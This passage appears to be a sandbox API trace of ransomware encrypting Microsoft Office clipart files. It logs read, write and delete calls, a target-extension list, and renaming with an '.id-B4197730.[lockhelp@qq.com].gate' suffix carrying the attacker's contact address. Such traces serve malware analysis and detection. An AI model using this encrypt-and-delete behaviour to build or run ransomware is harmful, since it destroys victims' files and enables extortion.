lpNumberOfBytesWritten=0x313fc94*=0x2610, lpOverlapped=0x0) returned 1 [0306.989] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.989] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0306.989] SetEndOfFile (hFile=0x4f8) returned 1 [0306.989] CloseHandle (hObject=0x4f8) returned 1 [0306.990] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.990] SetEndOfFile (hFile=0x4f0) returned 1 [0306.992] CloseHandle (hObject=0x4f0) returned 1 [0306.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0307.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 1 [0307.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0307.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0307.000] lstrlenW (lpString=".doc") returned 4 [0307.000] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.000] lstrlenW (lpString=".docx") returned 5 [0307.000] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0307.000] lstrlenW (lpString=".pdf") returned 4 [0307.000] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.001] lstrlenW (lpString=".xls") returned 4 [0307.001] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.001] lstrlenW (lpString=".xlsx") returned 5 [0307.001] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0307.001] lstrlenW (lpString=".ppt") returned 4 [0307.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0307.001] lstrlenW (lpString=".zip") returned 4 [0307.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.001] lstrlenW (lpString=".rar") returned 4 [0307.001] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.001] lstrlenW (lpString=".bz2") returned 4 [0307.001] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.001] lstrlenW (lpString=".7z") returned 3 [0307.001] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0307.001] lstrlenW (lpString=".dbf") returned 4 [0307.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0307.001] lstrlenW (lpString=".1cd") returned 4 [0307.001] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF") returned 68 [0307.001] lstrlenW (lpString=".jpg") returned 4 [0307.001] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0307.002] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=17016) returned 1 [0307.002] CloseHandle (hObject=0x414) returned 1 [0307.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 0x220 [0307.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0307.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0307.003] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.003] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0307.004] GetLastError () returned 0x0 [0307.004] ReadFile (in: hFile=0x414, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x4278, lpOverlapped=0x0) returned 1 [0307.124] WriteFile (in: hFile=0x528, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x4280, lpOverlapped=0x0) returned 1 [0307.125] ReadFile (in: hFile=0x414, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0307.125] WriteFile (in: hFile=0x528, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0307.126] SetEndOfFile (hFile=0x528) returned 1 [0307.126] CloseHandle (hObject=0x528) returned 1 [0307.126] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0307.126] SetEndOfFile (hFile=0x414) returned 1 [0307.129] CloseHandle (hObject=0x414) returned 1 [0307.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0307.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 1 [0307.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0307.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0307.625] lstrlenW (lpString=".doc") returned 4 [0307.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0307.625] lstrlenW (lpString=".docx") returned 5 [0307.625] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0307.625] lstrlenW (lpString=".pdf") returned 4 [0307.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0307.625] lstrlenW (lpString=".xls") returned 4 [0307.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0307.625] lstrlenW (lpString=".xlsx") returned 5 [0307.625] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0307.625] lstrlenW (lpString=".ppt") returned 4 [0307.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0307.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0307.625] lstrlenW (lpString=".zip") returned 4 [0307.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0307.625] lstrlenW (lpString=".rar") returned 4 [0307.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0307.625] lstrlenW (lpString=".bz2") returned 4 [0307.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0307.625] lstrlenW (lpString=".7z") returned 3 [0307.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0307.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0307.625] lstrlenW (lpString=".dbf") returned 4 [0307.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0307.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0307.625] lstrlenW (lpString=".1cd") returned 4 [0307.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0307.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF") returned 68 [0307.626] lstrlenW (lpString=".jpg") returned 4 [0307.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0308.105] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0308.105] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0308.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0308.107] GetLastError () returned 0x0 [0308.107] ReadFile (in: hFile=0x4f8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x3d40, lpOverlapped=0x0) returned 1 [0308.384] WriteFile (in: hFile=0x538, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x3d50, lpOverlapped=0x0) returned 1 [0308.547] ReadFile (in: hFile=0x4f8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0308.547] WriteFile (in: hFile=0x538, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0308.547] SetEndOfFile (hFile=0x538) returned 1 [0308.873] CloseHandle (hObject=0x538) returned 1 [0308.873] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0308.873] SetEndOfFile (hFile=0x4f8) returned 1 [0309.229] CloseHandle (hObject=0x4f8) returned 1 [0309.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0309.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 1 [0309.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0309.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0309.238] lstrlenW (lpString=".doc") returned 4 [0309.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0309.238] lstrlenW (lpString=".docx") returned 5 [0309.238] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0309.238] lstrlenW (lpString=".pdf") returned 4 [0309.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0309.238] lstrlenW (lpString=".xls") returned 4 [0309.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0309.238] lstrlenW (lpString=".xlsx") returned 5 [0309.238] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0309.238] lstrlenW (lpString=".ppt") returned 4 [0309.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0309.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0309.238] lstrlenW (lpString=".zip") returned 4 [0309.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0309.238] lstrlenW (lpString=".rar") returned 4 [0309.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0309.238] lstrlenW (lpString=".bz2") returned 4 [0309.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0309.238] lstrlenW (lpString=".7z") returned 3 [0309.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0309.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0309.238] lstrlenW (lpString=".dbf") returned 4 [0309.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0309.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0309.239] lstrlenW (lpString=".1cd") returned 4 [0309.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0309.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0309.239] lstrlenW (lpString=".jpg") returned 4 [0309.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0309.239] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=15760) returned 1 [0309.239] CloseHandle (hObject=0x4f8) returned 1 [0309.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 0x220 [0309.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0309.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0309.240] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.240] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0309.240] GetLastError () returned 0x0 [0309.240] ReadFile (in: hFile=0x4f8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x3d90, lpOverlapped=0x0) returned 1 [0309.267] WriteFile (in: hFile=0x564, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x3da0, lpOverlapped=0x0) returned 1 [0309.268] ReadFile (in: hFile=0x4f8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0309.268] WriteFile (in: hFile=0x564, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0309.268] SetEndOfFile (hFile=0x564) returned 1 [0309.268] CloseHandle (hObject=0x564) returned 1 [0309.269] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.269] SetEndOfFile (hFile=0x4f8) returned 1 [0309.271] CloseHandle (hObject=0x4f8) returned 1 [0309.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0309.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf")) returned 1 [0309.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0309.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0309.274] lstrlenW (lpString=".doc") returned 4 [0309.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0309.274] lstrlenW (lpString=".docx") returned 5 [0309.274] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0309.274] lstrlenW (lpString=".pdf") returned 4 [0309.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0309.274] lstrlenW (lpString=".xls") returned 4 [0309.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0309.274] lstrlenW (lpString=".xlsx") returned 5 [0309.274] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0309.274] lstrlenW (lpString=".ppt") returned 4 [0309.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0309.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0309.274] lstrlenW (lpString=".zip") returned 4 [0309.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0309.274] lstrlenW (lpString=".rar") returned 4 [0309.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0309.275] lstrlenW (lpString=".bz2") returned 4 [0309.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0309.275] lstrlenW (lpString=".7z") returned 3 [0309.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0309.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0309.275] lstrlenW (lpString=".dbf") returned 4 [0309.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0309.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0309.275] lstrlenW (lpString=".1cd") returned 4 [0309.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0309.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF") returned 68 [0309.275] lstrlenW (lpString=".jpg") returned 4 [0309.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0309.275] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=28212) returned 1 [0309.275] CloseHandle (hObject=0x4f8) returned 1 [0309.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 0x220 [0309.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0309.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0309.276] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.276] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0309.277] GetLastError () returned 0x0 [0309.277] ReadFile (in: hFile=0x4f8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x6e34, lpOverlapped=0x0) returned 1 [0309.706] WriteFile (in: hFile=0x564, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x6e40, lpOverlapped=0x0) returned 1 [0309.708] ReadFile (in: hFile=0x4f8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0309.708] WriteFile (in: hFile=0x564, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0309.708] SetEndOfFile (hFile=0x564) returned 1 [0309.708] CloseHandle (hObject=0x564) returned 1 [0309.708] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0309.708] SetEndOfFile (hFile=0x4f8) returned 1 [0312.519] CloseHandle (hObject=0x4f8) returned 1 [0312.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0312.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 1 [0312.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0312.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0312.521] lstrlenW (lpString=".doc") returned 4 [0312.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.522] lstrlenW (lpString=".docx") returned 5 [0312.522] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0312.522] lstrlenW (lpString=".pdf") returned 4 [0312.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.522] lstrlenW (lpString=".xls") returned 4 [0312.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.522] lstrlenW (lpString=".xlsx") returned 5 [0312.522] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0312.522] lstrlenW (lpString=".ppt") returned 4 [0312.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0312.522] lstrlenW (lpString=".zip") returned 4 [0312.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.522] lstrlenW (lpString=".rar") returned 4 [0312.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.522] lstrlenW (lpString=".bz2") returned 4 [0312.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.522] lstrlenW (lpString=".7z") returned 3 [0312.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0312.522] lstrlenW (lpString=".dbf") returned 4 [0312.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0312.522] lstrlenW (lpString=".1cd") returned 4 [0312.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0312.522] lstrlenW (lpString=".jpg") returned 4 [0312.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.523] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=6934) returned 1 [0312.523] CloseHandle (hObject=0x4f8) returned 1 [0312.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft 